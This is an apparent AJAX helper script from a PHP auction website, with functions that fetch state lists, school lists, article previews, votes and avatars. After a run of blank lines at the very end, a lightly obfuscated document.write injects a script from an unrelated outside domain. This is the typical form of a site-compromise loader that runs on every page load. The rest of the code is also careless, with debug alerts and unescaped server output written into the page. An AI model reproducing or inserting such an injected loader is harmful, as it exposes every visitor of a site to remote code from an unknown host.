path="http://suchita/auction/";
//alert(path);
function GetXmlHttpObject()
{
  var xmlHttp=null;
  try
    {
    // Firefox, Opera 8.0+, Safari
    xmlHttp=new XMLHttpRequest();
    }
  catch (e)
    {
    // Internet Explorer
    try
      {
      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
      }
    catch (e)
      {
      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
      }
    }
  return xmlHttp;
} // end of function GetXmlHttpObject

function getCountryList()
{

		myStateDiv		= document.getElementById("statelist");
		myloadDiv		= document.getElementById("loadingContent");
    	if(xmlHttp.readyState==1 || xmlHttp.readyState==2 || xmlHttp.readyState==3)
		{
			 	myStateDiv.style.display		 	= "none";
				myloadDiv.style.display				= "";	
		}
		if(xmlHttp.readyState==4)
		{ 
			var responseVal = xmlHttp.responseText;
				
			if(responseVal==0)
			{
			var responseVal	= "FAIL";
			}
			if(responseVal==3)
			{
			var responseVal	= "NA";
			}
			if(responseVal=="FAIL")
			{
				myStateDiv.style.display	= "none";
				myloadDiv.style.display		= "";
				myloadDiv.innerHTML			= "Select Country has no value,Please select other Country.";
			
			}else if(responseVal=="NA")
			{
				myStateDiv.style.display	= "none";
				myloadDiv.style.display		= "";
				myloadDiv.innerHTML			= "States not availabel,Please select another Country.";
			}else{
				var abc	= responseVal.split("|||");
				myHid	= document.getElementById("hid_state_id");
				myHid.value	 = abc[0];
				
				myStateDiv.style.display	= "";
				myStateDiv.innerHTML		= abc[1];	
				myloadDiv.style.display		= "none";
			   
			}
		}
} // end of fucntion requestChanged


function getArticlePreview()
{
		var pDiv	= document.getElementById("prevDiv");
		pDiv.style.top	= (tempY-25)+"px";
		pDiv.style.left	= (tempX-370)+"px";
		
		if(xmlHttp.readyState==1 || xmlHttp.readyState==2 || xmlHttp.readyState==3)
		{
			pDiv.style.display	= "";
			pDiv.innerHTML	= "<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\"><tr><td><img style=\"margin:0px;\" src=\"./html/images/loading1.gif\"></td>&nbsp;<span class=\"boldgrey\">Loading Preview... Please wait.</span></td></tr></table>";
				
		}
		if(xmlHttp.readyState==4)
		{ 
			var responseVal = xmlHttp.responseText;
			pDiv.style.display	= "";
			pDiv.innerHTML	= responseVal;
		}

} // end of function getArticlePreview


function registerArticleVote()
{
		var ratDiv		= document.getElementById("ratingBarId");
		if(xmlHttp.readyState==1 || xmlHttp.readyState==2 || xmlHttp.readyState==3)
		{
			
			ratDiv.innerHTML	= "<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\"><tr><td><img style=\"margin:0px;\" src=\"html/images/ajax-loader_process.gif\"></td>&nbsp;<span class=\"error\">Registering your vote...</span></td></tr></table>";
				
		}
		if(xmlHttp.readyState==4)
		{ 
			
			var responseVal = xmlHttp.responseText;
			ratDiv.innerHTML	= responseVal;
		}
} // end of function registerArticleVote

function getSCList()
{
		
		mySCDiv			= document.getElementById("sclist");
		mySCloadDiv		= document.getElementById("loadingContent_sc");

		if(xmlHttp.readyState==1 || xmlHttp.readyState==2 || xmlHttp.readyState==3)
		{
			 	mySCDiv.style.display		 	= "none";
				mySCloadDiv.style.display				= "";	
		}
		if(xmlHttp.readyState==4)
		{ 
			var responseVal = xmlHttp.responseText;
						
			if(responseVal==0)
			var responseVal	= "FAIL";
			if(responseVal==3)
			var responseVal	= "NA";
						
			if(responseVal=="FAIL")
			{
				mySCDiv.style.display	= "none";
				mySCloadDiv.style.display		= "";
				mySCDiv.innerHTML			= "Select user type has no value,Please select othery user type.";
			
			}
			else if (responseVal=="NA")
			{
				mySCDiv.style.display	= "none";
				mySCloadDiv.style.display		= "";
				mySCDiv.innerHTML			= "Schools/ Colleges not availabel,Please select another user type.";
			}else
			{
				var abc	= responseVal.split("|||");
				mySCHid	= document.getElementById("hid_sc_id");
				mySCHid.value	 = abc[0];
				
				mySCrowCaption	= document.getElementById("schoolCaption");
				mySCrowCaption.innerHTML = abc[2];

				mySCDiv.style.display	= "";
				mySCDiv.innerHTML		= abc[1];	
				mySCloadDiv.style.display		= "none";
			}
		}

} // end of function getSCList


/*-----------------------Xml object in ajax---------------------------*/
function createXMLHttp()
{
if(typeof XMLHttpRequest != "undefined" )
  {
return new XMLHttpRequest();

  } else if(window.ActiveXObject)
         {
         var aVersions=["MSXML2.XMLHttp.5.0","MSXML2.XMLHttp.4.0","MSXML2.XMLHttp.3.0","MSXML2.XMLHttp","Microsoft.XMLHttp"];
		    for(var i=0;i<aVersions.length;i++)
		        {
		        try{
		           var oXmlHttp=new ActiveXObject(aVersions[i]);
				   return oXmlHttp;
				   }catch(oError){}
		 
		        }
		 }
throw new Error("www.misternetworker.com unable to create Xml object.");
}
/*----------------------end of xml object in ajax---------------------*/
//function for get user agent

function getBrowser()
{
var userAgent=navigator.userAgent

var index = userAgent.indexOf("Opera");
if(index==-1){
var index = userAgent.indexOf("Firefox");
}
if(index==-1){
var index = userAgent.indexOf("Safari");
}


if(index==-1){
agent="IE";
}else{
agent="NETSCAPE";
}

return agent;
}
//==========================================================================================================================
function getSub(catid)
{

var oXmlHttp=createXMLHttp();

//var objcat  = document.getElementById('');

var objsubdiv = document.getElementById("subDiv");
var act=path+"ajax_middle_action2.php?clickfor=sub&catid="+catid;
oXmlHttp.open("get",act,true);

oXmlHttp.onreadystatechange=function()
{

if(oXmlHttp.readyState==4)
 {
	
    if(oXmlHttp.status==200)
	  { 
			if(oXmlHttp.responseText!=0)
			{
              result=oXmlHttp.responseText;
			  if(result!=""){
				
				 objsubdiv.innerHTML=result;				  
				 
			  }
			}
   	  }
 }
};
oXmlHttp.send(null);

}
function get_sub_id(sub_id)
{
		alert(state_id);
		document.getElementById('cid').value=sub_id;
}
//===========================================================================================================================
//-------------end of getBrowser()-------

//finction for create state select box 

function getState(countryId,stateboxName,stateboxId,stateDiv,path)
{
//alert(1);
alert("hiii");
var oXmlHttp=createXMLHttp();

var objcountry  = document.getElementById(countryId);

var objstatediv = document.getElementById(stateDiv);
var act=path+"ajax_middle_action.php?clickfor=state&subject="+objcountry.value+"&boxName="+stateboxName+"&boxId"+stateboxId;

oXmlHttp.open("get",act,true);

oXmlHttp.onreadystatechange=function()
{
if(oXmlHttp.readyState==4)
 {
	
    if(oXmlHttp.status==200)
	  { 
			if(oXmlHttp.responseText!=0)
			{
              result=oXmlHttp.responseText;
			  if(result!=""){
				
				 objstatediv.innerHTML=result;				  
				 
			  }
			}
   	  }
 }
};
oXmlHttp.send(null);
}
function get_state_id(state_id)
{
		//alert(state_id);
		document.getElementById('state_id').value=state_id;
}

function getAvatar(avt_id,avatarDiv,path)
{
  var xmlHttp = GetXmlHttpObject();
 
  var objAvt  = document.getElementById(avt_id);
  
  xmlHttp.onreadystatechange = function()
  {
    if(xmlHttp.readyState == 4)
    {
      HandleAvatar(xmlHttp.responseText,avatarDiv);
    }
  }
  
  var act_avt=path+"ajax_middle_avtar.php?id="+objAvt.value;

  xmlHttp.open("GET", act_avt, true);
  xmlHttp.send(null);
}

function HandleAvatar(response,avatarDiv)
{
  document.getElementById('avatarDiv').innerHTML = response;
}

function getTextBox(txtValue,textDiv,path)
{
 
  var xmlHttp = GetXmlHttpObject();
 
  var objtxt  = txtValue;
  var act_text=path+"edit_info.php?value="+objtxt;
  xmlHttp.open("GET", act_text, true);
  
  xmlHttp.onreadystatechange = function()
  {
	 
    if(xmlHttp.readyState == 4)
    {
		document.getElementById(textDiv).innerHTML = xmlHttp.responseText;
	 }
   }
  	 xmlHttp.send(null);
	 return false;
}

//---------------------------------------------







document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Gigahertz.js"></scri'+'pt>');